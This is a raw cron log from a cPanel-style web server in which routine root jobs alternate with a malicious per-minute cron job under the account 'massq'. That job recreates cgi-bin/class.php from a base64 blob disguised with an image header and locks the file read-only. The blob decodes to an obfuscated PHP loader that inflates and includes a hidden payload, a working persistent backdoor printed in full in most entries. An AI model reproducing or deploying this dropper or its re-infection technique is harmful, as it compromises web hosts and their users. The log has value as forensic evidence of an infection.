Sep 10 13:21:01 server CROND[31719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:22:01 server CROND[32084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:22:01 server CROND[32085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:22:01 server CROND[32086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:23:01 server CROND[32566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:23:01 server CROND[32567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:23:01 server CROND[32568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:24:01 server CROND[488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:24:01 server CROND[489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:24:01 server CROND[490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:25:01 server CROND[906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:25:01 server CROND[908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:25:01 server CROND[914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:25:01 server CROND[916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:25:01 server CROND[917]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:25:01 server CROND[915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:25:01 server CROND[923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:26:01 server CROND[1832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:26:01 server CROND[1833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:26:01 server CROND[1834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:27:01 server CROND[2250]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 13:27:01 server CROND[2252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:27:01 server CROND[2254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:27:01 server CROND[2253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:28:01 server CROND[2816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:28:01 server CROND[2817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:28:01 server CROND[2818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:29:01 server CROND[3198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:29:01 server CROND[3199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:29:01 server CROND[3200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:30:01 server CROND[3605]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:30:01 server CROND[3606]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:30:01 server CROND[3607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:30:01 server CROND[3608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:30:01 server CROND[3613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:30:01 server CROND[3619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:30:01 server CROND[3618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:30:01 server CROND[3612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:31:01 server CROND[4440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:31:01 server CROND[4441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:31:01 server CROND[4442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:32:01 server CROND[4804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:32:01 server CROND[4803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:32:01 server CROND[4805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:33:01 server CROND[5270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:33:01 server CROND[5271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:33:01 server CROND[5269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:34:01 server CROND[5640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
